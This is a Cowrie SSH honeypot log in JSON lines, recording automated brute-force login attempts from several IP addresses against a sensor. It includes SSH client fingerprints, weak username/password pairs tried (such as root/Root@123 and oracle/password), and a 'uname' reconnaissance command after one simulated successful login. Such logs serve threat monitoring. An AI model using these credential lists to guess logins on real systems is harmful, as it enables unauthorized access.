{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:45.019813Z","src_ip":"192.109.200.78","session":"9efa92c3f53d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:45.584505Z","src_ip":"192.109.200.78","session":"9efa92c3f53d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:45.786350Z","src_ip":"192.109.200.78","session":"9efa92c3f53d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:45.790254Z","src_ip":"192.109.200.78","session":"9efa92c3f53d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:45.877775Z","src_ip":"192.109.200.78","session":"9efa92c3f53d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:45.883301Z","src_ip":"192.109.200.78","session":"9efa92c3f53d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54782,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a97a60dd176","protocol":"ssh","message":"New connection: 192.109.200.78:54782 (159.203.135.109:22) [session: 1a97a60dd176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:49.015607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:49.020353Z","src_ip":"192.109.200.78","session":"1a97a60dd176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:49.103106Z","src_ip":"192.109.200.78","session":"1a97a60dd176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"basit","password":"basit","message":"login attempt [basit/basit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:49.417416Z","src_ip":"192.109.200.78","session":"1a97a60dd176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:50.509992Z","src_ip":"192.109.200.78","session":"1a97a60dd176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54794,"dst_ip":"159.203.135.109","dst_port":22,"session":"08fc628299ca","protocol":"ssh","message":"New connection: 192.109.200.78:54794 (159.203.135.109:22) [session: 08fc628299ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:53.192072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:53.195737Z","src_ip":"192.109.200.78","session":"08fc628299ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:53.362751Z","src_ip":"192.109.200.78","session":"08fc628299ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:53.610782Z","src_ip":"192.109.200.78","session":"08fc628299ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:54.698394Z","src_ip":"192.109.200.78","session":"08fc628299ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54798,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f428d8f22ed","protocol":"ssh","message":"New connection: 192.109.200.78:54798 (159.203.135.109:22) [session: 0f428d8f22ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:57.267228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:57.272089Z","src_ip":"192.109.200.78","session":"0f428d8f22ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:57.480421Z","src_ip":"192.109.200.78","session":"0f428d8f22ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:57.768562Z","src_ip":"192.109.200.78","session":"0f428d8f22ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:58.853961Z","src_ip":"192.109.200.78","session":"0f428d8f22ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":49996,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd6149712cb2","protocol":"ssh","message":"New connection: 170.79.37.88:49996 (159.203.135.109:22) [session: fd6149712cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:59.837616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:59.842787Z","src_ip":"170.79.37.88","session":"fd6149712cb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:41:59.941525Z","src_ip":"170.79.37.88","session":"fd6149712cb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"654321","message":"login attempt [test2/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:00.373762Z","src_ip":"170.79.37.88","session":"fd6149712cb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54352,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaa7cfa5d16f","protocol":"ssh","message":"New connection: 192.109.200.78:54352 (159.203.135.109:22) [session: aaa7cfa5d16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:01.444305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:01.449512Z","src_ip":"192.109.200.78","session":"aaa7cfa5d16f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:01.476082Z","src_ip":"170.79.37.88","session":"fd6149712cb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:01.538578Z","src_ip":"192.109.200.78","session":"aaa7cfa5d16f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:01.795780Z","src_ip":"192.109.200.78","session":"aaa7cfa5d16f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:02.989576Z","src_ip":"192.109.200.78","session":"aaa7cfa5d16f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":60484,"dst_ip":"10.17.0.5","dst_port":22,"session":"237ebe141639","protocol":"ssh","message":"New connection: 177.54.62.66:60484 (10.17.0.5:22) [session: 237ebe141639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:04.199587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:04.203968Z","src_ip":"177.54.62.66","session":"237ebe141639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:04.339714Z","src_ip":"177.54.62.66","session":"237ebe141639","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"1","message":"login attempt [server/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:04.912373Z","src_ip":"177.54.62.66","session":"237ebe141639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54362,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e97d82e4999","protocol":"ssh","message":"New connection: 192.109.200.78:54362 (159.203.135.109:22) [session: 4e97d82e4999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:05.666661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:05.671535Z","src_ip":"192.109.200.78","session":"4e97d82e4999","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:05.755498Z","src_ip":"192.109.200.78","session":"4e97d82e4999","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"root2","message":"login attempt [root2/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:06.007458Z","src_ip":"192.109.200.78","session":"4e97d82e4999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:06.051562Z","src_ip":"177.54.62.66","session":"237ebe141639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43826,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1345ac49641","protocol":"ssh","message":"New connection: 159.203.92.129:43826 (159.203.135.109:22) [session: a1345ac49641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:06.375921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:06.381915Z","src_ip":"159.203.92.129","session":"a1345ac49641","protocol":"ssh"}
